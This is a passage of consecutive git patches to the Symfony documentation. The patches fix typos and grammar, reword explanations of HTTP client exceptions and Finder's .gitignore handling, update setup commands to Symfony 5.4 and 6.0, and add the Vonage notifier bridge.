-* Manage the whole security process (triaging reported vulnerabilities, fixing
-  the reported issues, coordinating the release of security fixes, etc.)
+* **Recipes Team**: manages the recipes in the main and contrib recipe repositories.
 
-**Recipes Team**
-
-* Manage the recipes in the main and contrib recipe repositories.
-
-**Documentation Team**
-
-* Manage the whole `symfony-docs repository`_.
+* **Documentation Team**: manages the whole `symfony-docs repository`_.
 
 Active Core Members
 ~~~~~~~~~~~~~~~~~~~

From 5db91a3b0c46f439e0683f74138eda1380146273 Mon Sep 17 00:00:00 2001
From: SkaveRat <SkaveRat@users.noreply.github.com>
Date: Mon, 22 Nov 2021 12:34:03 +0100
Subject: [PATCH 2740/7107] Fixing missing space in configuration docs

---
 configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index 0533334074c..80f93e2025e 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -69,7 +69,7 @@ readable. These are the main advantages and disadvantages of each format:
 
 * **YAML**: simple, clean and readable, but not all IDEs support autocompletion
   and validation for it. :doc:`Learn the YAML syntax </components/yaml/yaml_format>`;
-* **XML**:autocompleted/validated by most IDEs and is parsed natively by PHP,
+* **XML**: autocompleted/validated by most IDEs and is parsed natively by PHP,
   but sometimes it generates configuration considered too verbose. `Learn the XML syntax`_;
 * **PHP**: very powerful and it allows you to create dynamic configuration, but the
   resulting configuration is less readable than the other formats.

From dbc1270f77763ffdc5cd25ea215d491a62a4c378 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 22 Nov 2021 15:28:50 +0100
Subject: [PATCH 2741/7107] Rewording when an exception is thrown

@nicolas-grekas Identical copy of https://github.com/symfony/symfony-docs/pull/14499
---
 http_client.rst | 21 ++++++++++-----------
 1 file changed, 10 insertions(+), 11 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index efa33c02944..019cd64036e 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -937,20 +937,19 @@ There are three types of exceptions, all of which implement the
   are thrown when a content-type cannot be decoded to the expected representation.
 
 When the HTTP status code of the response is in the 300-599 range (i.e. 3xx,
-4xx or 5xx) your code is expected to handle it. If you don't do that, the
-``getHeaders()``, ``getContent()`` and ``toArray()`` methods throw an appropriate exception, which will
-implement the :class:`Symfony\\Contracts\\HttpClient\\Exception\\HttpExceptionInterface`::
+4xx or 5xx), the ``getHeaders()``, ``getContent()`` and ``toArray()`` methods
+throw an appropriate exception, all of which implement the
+:class:`Symfony\\Contracts\\HttpClient\\Exception\\HttpExceptionInterface`.
 
-    // the response of this request will be a 403 HTTP error
-    $response = $client->request('GET', 'https://httpbin.org/status/403');
+To opt-out from this exception and deal with 300-599 status codes on your own,
+pass ``false`` as the optional argument to every call of those methods,
+e.g. ``$response->getHeaders(false);``.
 
-    // this code results in a Symfony\Component\HttpClient\Exception\ClientException
-    // because it doesn't check the status code of the response
-    $content = $response->getContent();
+If you do not call any of these 3 methods at all, the exception will still be thrown
+when the ``$response`` object is destructed.
 
-    // pass FALSE as the optional argument to not throw an exception and return
-    // instead the original response content (even if it's an error message)
-    $content = $response->getContent(false);
+Calling ``$response->getStatusCode()`` is enough to disable this behavior
+(but then don't miss checking the status code yourself).
 
 While responses are lazy, their destructor will always wait for headers to come
 back. This means that the following request *will* complete; and if e.g. a 404

From d2ebd702d736205c44f9905318f210af8254df26 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Mon, 22 Nov 2021 19:09:31 +0100
Subject: [PATCH 2742/7107] [Serializer] Remove colon

---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 635f8e67ba3..3e7da6c8b0b 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -694,7 +694,7 @@ Normalizers
 -----------
 
 Normalizers turn **object** into **array** and vice versa. They implement
-::class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`
+:class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`
 for normalize (object to array) and
 :class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizableInterface` for denormalize
 (array to object).

From 32278d443fe62c8f1a044e6c8fbf29b2830c265c Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Mon, 22 Nov 2021 19:14:56 +0100
Subject: [PATCH 2743/7107] [Serializer] Fix grammar issue

---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 53a1475ee17..6fd84b02077 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -872,7 +872,7 @@ The Serializer component provides several built-in normalizers:
     This normalizer works with classes that implement
     :class:`Symfony\\Component\\Form\\FormInterface`.
 
-    It will get errors from the form and normalize them into an normalized array.
+    It will get errors from the form and normalize them into a normalized array.
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer`
     This normalizer converts objects that implement

From c51c80dc6e350055f3da3443a76bf623796979cf Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Mon, 22 Nov 2021 22:46:38 +0100
Subject: [PATCH 2744/7107] [HTTP Cache] Fix grammar issue

---
 http_cache/ssi.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache/ssi.rst b/http_cache/ssi.rst
index 94bab702db4..fe8f1552912 100644
--- a/http_cache/ssi.rst
+++ b/http_cache/ssi.rst
@@ -126,7 +126,7 @@ The ``render_ssi`` twig helper will generate something like:
 
     <!--#include virtual="/_fragment?_hash=abcdef1234&_path=_controller=App\Controller\ProfileController::gdpr" -->
 
-``render_ssi`` ensures that SSI directive are generated only if the request
+``render_ssi`` ensures that SSI directive is generated only if the request
 has the header requirement like ``Surrogate-Capability: device="SSI/1.0"``
 (normally given by the web server).
 Otherwise it will embed directly the sub-response.

From bcf1675acf4d6965e666425884f61adf7ee2e42a Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 18 Nov 2021 17:02:13 +0100
Subject: [PATCH 2745/7107] Adding folder name

---
 frontend/encore/versioning.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/frontend/encore/versioning.rst b/frontend/encore/versioning.rst
index ecea440ec75..6fe8a8275cd 100644
--- a/frontend/encore/versioning.rst
+++ b/frontend/encore/versioning.rst
@@ -28,11 +28,12 @@ To link to these assets, Encore creates two files ``entrypoints.json`` and
 Loading Assets from ``entrypoints.json`` & ``manifest.json``
 ------------------------------------------------------------
 
-Whenever you run Encore, two configuration files are generated: ``entrypoints.json``
+Whenever you run Encore, two configuration files are generated in your
+output folder (default location: ``public/build/``): ``entrypoints.json``
 and ``manifest.json``. Each file is similar, and contains a map to the final, versioned
-filename.
+filenames.
 
-The first file - ``entrypoints.json`` - is used by the ``encore_entry_script_tags()``
+The first file – ``entrypoints.json`` – is used by the ``encore_entry_script_tags()``
 and ``encore_entry_link_tags()`` Twig helpers. If you're using these, then your
 CSS and JavaScript files will render with the new, versioned filename. If you're
 not using Symfony, your app will need to read this file in a similar way.

From 19af567dedca6b9ba3be5db4a2136e94a7e98b1c Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 23 Nov 2021 20:13:53 +0100
Subject: [PATCH 2746/7107] Document PHP attribute naming convention

---
 contributing/code/standards.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index 1ee3c5380ed..ab4ca19ff4c 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -224,6 +224,9 @@ Naming Conventions
 
 * Suffix exceptions with ``Exception``;
 
+* Prefix PHP attributes with ``As`` where applicable (e.g. ``#[AsCommand]``
+  instead of ``#[Command]``, but ``#[When]`` is kept as-is);
+
 * Use UpperCamelCase for naming PHP files (e.g. ``EnvVarProcessor.php``) and
   snake case for naming Twig templates and web assets (``section_layout.html.twig``,
   ``index.scss``);

From 7ced38d8d2b7e3dbfa0b3997cfbde93f02e72fc4 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Tue, 23 Nov 2021 20:41:12 +0100
Subject: [PATCH 2747/7107] [ExpressionLanguage] Remove array element

The expressions "life == everything" and "life > everything" don't require the "universe" element.
---
 components/expression_language/syntax.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
index 5b7ee72ec7a..af5bfa5fc71 100644
--- a/components/expression_language/syntax.rst
+++ b/components/expression_language/syntax.rst
@@ -204,7 +204,6 @@ Examples::
         'life == everything',
         [
             'life' => 10,
-            'universe' => 10,
             'everything' => 22,
         ]
     );
@@ -213,7 +212,6 @@ Examples::
         'life > everything',
         [
             'life' => 10,
-            'universe' => 10,
             'everything' => 22,
         ]
     );

From 66a248ae15b714cab3f100895873f9f07c7d7500 Mon Sep 17 00:00:00 2001
From: Al-Saleh KEITA <28827545+askeita@users.noreply.github.com>
Date: Wed, 24 Nov 2021 09:03:23 +0100
Subject: [PATCH 2748/7107] Corrected typo in notifier.rst

Replaced "send" by "sent".
---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 1ef5b5521f7..0280a04f8ad 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -615,7 +615,7 @@ The
 :class:`Symfony\\Component\\Notifier\\Notification\\SmsNotificationInterface`
 and
 :class:`Symfony\\Component\\Notifier\\Notification\\EmailNotificationInterface`
-also exists to modify messages send to those channels.
+also exists to modify messages sent to those channels.
 
 Disabling Delivery
 ------------------

From 78a11fdf5790a1c64a759e1742ae205b9c4c218c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Petar=20Petkovi=C4=87?= <petkpera@gmail.com>
Date: Wed, 24 Nov 2021 14:39:14 +0100
Subject: [PATCH 2749/7107] Update page_creation.rst

---
 page_creation.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/page_creation.rst b/page_creation.rst
index c55c471fcee..672c6ba72ec 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -81,14 +81,14 @@ If you see a lucky number being printed back to you, congratulations! But before
 you run off to play the lottery, check out how this works. Remember the two steps
 to creating a page?
 
+#. *Create a controller and a method*: This is a function where *you* build the page and ultimately
+   return a ``Response`` object. You'll learn more about :doc:`controllers </controller>`
+   in their own section, including how to return JSON responses.
+   
 #. *Create a route*: In ``config/routes.yaml``, the route defines the URL to your
    page (``path``) and what ``controller`` to call. You'll learn more about :doc:`routing </routing>`
    in its own section, including how to make *variable* URLs;
 
-#. *Create a controller*: This is a function where *you* build the page and ultimately
-   return a ``Response`` object. You'll learn more about :doc:`controllers </controller>`
-   in their own section, including how to return JSON responses.
-
 .. _annotation-routes:
 
 Annotation Routes

From 801670f393546a7d6e67e4bf7ea698811c8b1da3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 24 Nov 2021 17:45:01 +0100
Subject: [PATCH 2750/7107] Minor tweak

---
 page_creation.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/page_creation.rst b/page_creation.rst
index 672c6ba72ec..7a55a8ce5bf 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -83,11 +83,11 @@ to creating a page?
 
 #. *Create a controller and a method*: This is a function where *you* build the page and ultimately
    return a ``Response`` object. You'll learn more about :doc:`controllers </controller>`
-   in their own section, including how to return JSON responses.
+   in their own section, including how to return JSON responses;
    
 #. *Create a route*: In ``config/routes.yaml``, the route defines the URL to your
    page (``path``) and what ``controller`` to call. You'll learn more about :doc:`routing </routing>`
-   in its own section, including how to make *variable* URLs;
+   in its own section, including how to make *variable* URLs.
 
 .. _annotation-routes:
 

From 37d1373bf03911cdef57c5334cdc0601798bf5b5 Mon Sep 17 00:00:00 2001
From: Yoan Arnaudov <jonidev@gmail.com>
Date: Mon, 15 Nov 2021 21:41:58 +0200
Subject: [PATCH 2751/7107] Fix assert statement

---
 console.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console.rst b/console.rst
index 20574b05f91..20ccf5ea893 100644
--- a/console.rst
+++ b/console.rst
@@ -376,7 +376,7 @@ console::
 
             // the output of the command in the console
             $output = $commandTester->getDisplay();
-            $this->assertContains('Username: Wouter', $output);
+            $this->assertStringContainsString('Username: Wouter', $output);
 
             // ...
         }

From 14e521e016908940267d885586a284839af9b205 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 24 Nov 2021 15:38:12 +0100
Subject: [PATCH 2752/7107] [Form] Minor

---
 reference/forms/types/enum.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index e9842516acc..c91111e4284 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -31,7 +31,7 @@ Example Usage
 
 Before using this field, you'll need to have some PHP enumeration (or "enum" for
 short) defined somewhere in your application. This enum has to be of type
-"backed enum", where each keyword defines a scalar value such a string::
+"backed enum", where each keyword defines a scalar value such as a string::
 
     // src/Config/TextAlign.php
     namespace App\Config;
@@ -53,8 +53,8 @@ Instead of using the values of the enumeration in a ``choices`` option, the
     $builder->add('alignment', EnumType::class, ['class' => TextAlign::class]);
 
 This will display a ``<select>`` tag with the three possible values defined in
-the ``TextAlign`` enum. Use the ``expanded`` and ``multiple`` options to display
-these values as ``<input type="checkbox">`` and ``<input type="radio">``.
+the ``TextAlign`` enum. Use the `expanded`_ and `multiple`_ options to display
+these values as ``<input type="checkbox">`` or ``<input type="radio">``.
 
 Field Options
 -------------

From 6b392f229357de70542074cdeb3ded2ff76bb410 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Wed, 24 Nov 2021 19:10:56 +0100
Subject: [PATCH 2753/7107] Update symfony_server.rst

---
 setup/symfony_server.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 98fe04a97a7..ff2d060a5cb 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -114,10 +114,10 @@ root directory:
     $ cd my-project/
 
     # use a specific PHP version
-    $ echo 7.2 > .php-version
+    $ echo 7.4 > .php-version
 
-    # use any PHP 7.x version available
-    $ echo 7 > .php-version
+    # use any PHP 8.x version available
+    $ echo 8 > .php-version
 
 .. tip::
 

From b54dcb9f0b5600a4397126a6dc9ff8d790f17510 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Wed, 24 Nov 2021 20:17:25 +0100
Subject: [PATCH 2754/7107] [Mailer] Remove duplicate semicolon

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 807d5739b72..789b56d6b99 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -324,7 +324,7 @@ header, etc.) but most of the times you'll set text headers::
         ->getHeaders()
             // this header tells auto-repliers ("email holiday mode") to not
             // reply to this message because it's an automated email
-            ->addTextHeader('X-Auto-Response-Suppress', 'OOF, DR, RN, NRN, AutoReply');
+            ->addTextHeader('X-Auto-Response-Suppress', 'OOF, DR, RN, NRN, AutoReply')
 
         // ...
     ;

From 4f475d6e1e120ae423695be0281bea2b0d9492fc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 25 Nov 2021 09:00:37 +0100
Subject: [PATCH 2755/7107] Minor reword

---
 components/finder.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/components/finder.rst b/components/finder.rst
index 4ccd6c7fe0d..ecae414084a 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -148,13 +148,14 @@ can reuse those rules to exclude files and directories from the results with the
     // excludes files/directories matching the .gitignore patterns
     $finder->ignoreVCSIgnored(true);
 
-Rules from higher levels will be overridden by those in lower levels.
+The rules of a directory always override the rules of its parent directories.
 
 .. note::
 
-    Only ``.gitignore`` files from search directories and their descendants are
-    read. Files from parent directories are ignored. To be consistent with Git
-    behavior, you should explicitly search from the Git repository root.
+    Git looks for ``.gitignore`` files starting from the repository root directory.
+    Symfony's Finder behavior is different and it looks for ``.gitignore`` files
+    starting from the directory used to search files/directories. To be consistent
+    with Git behavior, you should explicitly search from the Git repository root.
 
 .. versionadded:: 5.4
 

From 2133ec4fc0df3e158b3b5d4974b4b82d68b10a9c Mon Sep 17 00:00:00 2001
From: helmi <43951764+helmis123@users.noreply.github.com>
Date: Thu, 25 Nov 2021 15:29:07 +0100
Subject: [PATCH 2756/7107] Update http_cache.rst

Update CacheKernel implementation in public/index.php
Removal of "$request" which was moved to SymfonyRuntime
---
 http_cache.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/http_cache.rst b/http_cache.rst
index 35620d1cd76..59ca7e19526 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -98,15 +98,14 @@ caching kernel:
     + use App\CacheKernel;
       use App\Kernel;
 
-      // ...
-      $kernel = new Kernel($_SERVER['APP_ENV'], (bool) $_SERVER['APP_DEBUG']);
+    // ...
+    $kernel = new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']);
     + // Wrap the default Kernel with the CacheKernel one in 'prod' environment
     + if ('prod' === $kernel->getEnvironment()) {
-    +     $kernel = new CacheKernel($kernel);
+    +     return new CacheKernel($kernel);
     + }
+    return $kernel;
 
-      $request = Request::createFromGlobals();
-      // ...
 
 The caching kernel will immediately act as a reverse proxy: caching responses
 from your application and returning them to the client.

From 8a5ac3137501f9c4ae7b7e930c6ae89b5a1505ce Mon Sep 17 00:00:00 2001
From: Yoann Chocteau <yoann@chocteau.dev>
Date: Thu, 25 Nov 2021 19:43:46 +0100
Subject: [PATCH 2757/7107] =?UTF-8?q?The=20method=20renderForm=20generate?=
 =?UTF-8?q?=20a=20422=20Unprocessable=20Entity=20if=20the=20form=20is=20in?=
 =?UTF-8?q?valid.=20So=20we=20can=E2=80=99t=20pass=20in=20the=20success=20?=
 =?UTF-8?q?method.=20I=20suggest=20to=20replace=20it=20with=20the=20comple?=
 =?UTF-8?q?te=20method.?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 form/dynamic_form_modification.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 30d53efb780..01694ad9653 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -568,11 +568,11 @@ field according to the current selection in the ``sport`` field:
         url : $form.attr('action'),
         type: $form.attr('method'),
         data : data,
-        success: function(html) {
+        complete: function(html) {
           // Replace current position field ...
           $('#meetup_position').replaceWith(
             // ... with the returned one from the AJAX response.
-            $(html).find('#meetup_position')
+            $(html.responseText).find('#meetup_position')
           );
           // Position field now displays the appropriate positions.
         }

From bf8fa81275d8f31e439c78f760e6465f935cb6ed Mon Sep 17 00:00:00 2001
From: Al-Saleh KEITA <28827545+askeita@users.noreply.github.com>
Date: Fri, 26 Nov 2021 14:08:57 +0100
Subject: [PATCH 2758/7107] Typo in validation_group_service_resolver.rst

Corrected namespace of ValidationGroupResolver.
---
 form/validation_group_service_resolver.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/validation_group_service_resolver.rst b/form/validation_group_service_resolver.rst
index e9ad7a67724..9b12bdfec55 100644
--- a/form/validation_group_service_resolver.rst
+++ b/form/validation_group_service_resolver.rst
@@ -38,7 +38,7 @@ Then in your form, inject the resolver and set it as the ``validation_groups``::
     // src/Form/MyClassType.php;
     namespace App\Form;
 
-    use App\Validator\ValidationGroupResolver;
+    use App\Validation\ValidationGroupResolver;
     use Symfony\Component\Form\AbstractType;
     use Symfony\Component\OptionsResolver\OptionsResolver;
 

From b5c0d3e2af8029cdfb7d91abb7fb3bbcf4c11563 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 26 Nov 2021 20:03:12 +0100
Subject: [PATCH 2759/7107] Typo

---
 form/bootstrap5.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
index 2e82bda0cab..1ff693a753f 100644
--- a/form/bootstrap5.rst
+++ b/form/bootstrap5.rst
@@ -90,7 +90,7 @@ If you prefer to apply the Bootstrap styles on a form to form basis, include the
 Error Messages
 --------------
 
-Unlike the :doc:`Bootstrap 4 theme </form/bootstrap4>`, errors are rendered
+Unlike in the :doc:`Bootstrap 4 theme </form/bootstrap4>`, errors are rendered
 **after** the ``input`` element. However, this still makes a strong connection
 between the error and its ``<input>``, as required by the `WCAG 2.0 standard`_.
 

From aec97fd0a216d715f281e2832c04e972dfbb460d Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Fri, 26 Nov 2021 21:37:48 +0100
Subject: [PATCH 2760/7107] [Testing] Fix grammar issue

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index b4e351cd32a..07b79a45bec 100644
--- a/testing.rst
+++ b/testing.rst
@@ -573,7 +573,7 @@ will no longer be followed::
 Making AJAX Requests
 ....................
 
-The client provides a
+The client provides an
 :method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::xmlHttpRequest`
 method, which has the same arguments as the ``request()`` method and is
 a shortcut to make AJAX requests::

From 1a2cb078e15003cacddfc9b977453555be5b6c23 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Fri, 26 Nov 2021 20:10:59 +0100
Subject: [PATCH 2761/7107] [PHPUnitBridge] [PHPUnit Bridge] Fix @-silencing
 operator link

---
 components/phpunit_bridge.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 96f3115f77e..999ddd46865 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -226,7 +226,7 @@ message contains the ``"foobar"`` string.
 Making Tests Fail
 ~~~~~~~~~~~~~~~~~
 
-By default, any non-legacy-tagged or any non-`@-silenced <@-silencing operator>`_
+By default, any non-legacy-tagged or any non-silenced (`@-silencing operator`_)
 deprecation notices will make tests fail. Alternatively, you can configure
 an arbitrary threshold by setting ``SYMFONY_DEPRECATIONS_HELPER`` to
 ``max[total]=320`` for instance. It will make the tests fail only if a

From 1aa5b6e2372bf1f1e216ce1f9c58ea2272c04527 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 29 Nov 2021 16:36:16 +0100
Subject: [PATCH 2762/7107] [Notifier] Vonage bridge and deprecation of nexmo
 bridge

---
 notifier.rst | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 555a624c814..febb0d331e4 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -86,6 +86,7 @@ SpotHit         ``symfony/spothit-notifier``          ``spothit://TOKEN@default?
 Telnyx          ``symfony/telnyx-notifier``           ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
 TurboSms        ``symfony/turbo-sms-notifier``        ``turbosms://AUTH_TOKEN@default?from=FROM``
 Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@default?from=FROM``
+Vonage          ``symfony/vonage-notifier``           ``vonage://KEY:SECRET@default?from=FROM``
 Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default``
 ==============  ====================================  ===========================================================================
 
@@ -102,10 +103,14 @@ Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default
     The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell, SpotHit, FakeSms (email), LightSms, SmsBiuras
     and MessageBird integrations were introduced in Symfony 5.3.
 
+.. deprecated:: 5.4
+
+    The Nexmo integration was deprecated in Symfony 5.4, use the Vonage integration instead.
+
 .. versionadded:: 5.4
 
-    The MessageMedia, Smsc, Yunpian, AmazonSns, Telnyx, TurboSms, Mailjet, FakeSms (logger)
-    and Sms77 integrations were introduced in Symfony 5.4.
+    The MessageMedia, Smsc, Yunpian, AmazonSns, Telnyx, TurboSms, Mailjet, FakeSms (logger),
+    Sms77 and Vonage integrations were introduced in Symfony 5.4.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 80ba85c806f1181ee158b35ba0e9a4bacad2dc72 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 29 Nov 2021 22:45:13 +0100
Subject: [PATCH 2763/7107] Updating link to PHP enum

---
 reference/forms/types/enum.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index c91111e4284..51fefe016f0 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -116,4 +116,4 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/row_attr.rst.inc
 
-.. _`PHP enumeration`: https://wiki.php.net/rfc/enumerations
+.. _`PHP enumeration`: https://www.php.net/manual/language.enumerations.php

From ad1438b20bf12e954d0fe5ce937443974ca5e254 Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Mon, 29 Nov 2021 21:18:04 +0330
Subject: [PATCH 2764/7107] Update setup.rst - Symfony 5.4

---
 setup.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/setup.rst b/setup.rst
index 92206e09ab7..0fdc698699a 100644
--- a/setup.rst
+++ b/setup.rst
@@ -54,10 +54,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_name --version="5.4.x@dev" --full
+    $ symfony new my_project_name --version="5.4.x" --full
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_name --version="5.4.x@dev"
+    $ symfony new my_project_name --version="5.4.x"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you
@@ -69,10 +69,10 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton:"5.4.x@dev" my_project_name
+    $ composer create-project symfony/website-skeleton:"5.4.x" my_project_name
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"5.4.x@dev" my_project_name
+    $ composer create-project symfony/skeleton:"5.4.x" my_project_name
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies
@@ -271,14 +271,14 @@ stable version. If you want to use an LTS version, add the ``--version`` option:
     $ symfony new my_project_name --version=next
 
     # you can also select an exact specific Symfony version
-    $ symfony new my_project_name --version=4.4
+    $ symfony new my_project_name --version=5.4
 
 The ``lts`` and ``next`` shortcuts are only available when using Symfony to
 create new projects. If you use Composer, you need to tell the exact version:
 
 .. code-block:: terminal
 
-    $ composer create-project symfony/website-skeleton:"^4.4" my_project_name
+    $ composer create-project symfony/website-skeleton:"^5.4" my_project_name
 
 The Symfony Demo application
 ----------------------------

From 01d3ba49bad380489ca2b9a9b5ae5683ae74caab Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Mon, 29 Nov 2021 21:19:22 +0330
Subject: [PATCH 2765/7107] Update setup.rst - Symfony 6.0

---
 setup.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/setup.rst b/setup.rst
index 890d0f891c1..5df1a17b22c 100644
--- a/setup.rst
+++ b/setup.rst
@@ -54,10 +54,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_name --version="6.0.x@dev" --full
+    $ symfony new my_project_name --full
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_name --version="6.0.x@dev"
+    $ symfony new my_project_name
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you
@@ -69,10 +69,10 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton:"6.0.x@dev" my_project_name
+    $ composer create-project symfony/website-skeleton my_project_name
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"6.0.x@dev" my_project_name
+    $ composer create-project symfony/skeleton my_project_name
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies
@@ -271,14 +271,14 @@ stable version. If you want to use an LTS version, add the ``--version`` option:
     $ symfony new my_project_name --version=next
 
     # you can also select an exact specific Symfony version
-    $ symfony new my_project_name --version=4.4
+    $ symfony new my_project_name --version=5.4
 
 The ``lts`` and ``next`` shortcuts are only available when using Symfony to
 create new projects. If you use Composer, you need to tell the exact version:
 
 .. code-block:: terminal
 
-    $ composer create-project symfony/website-skeleton:"^4.4" my_project_name
+    $ composer create-project symfony/website-skeleton:"^5.4" my_project_name
 
 The Symfony Demo application
 ----------------------------

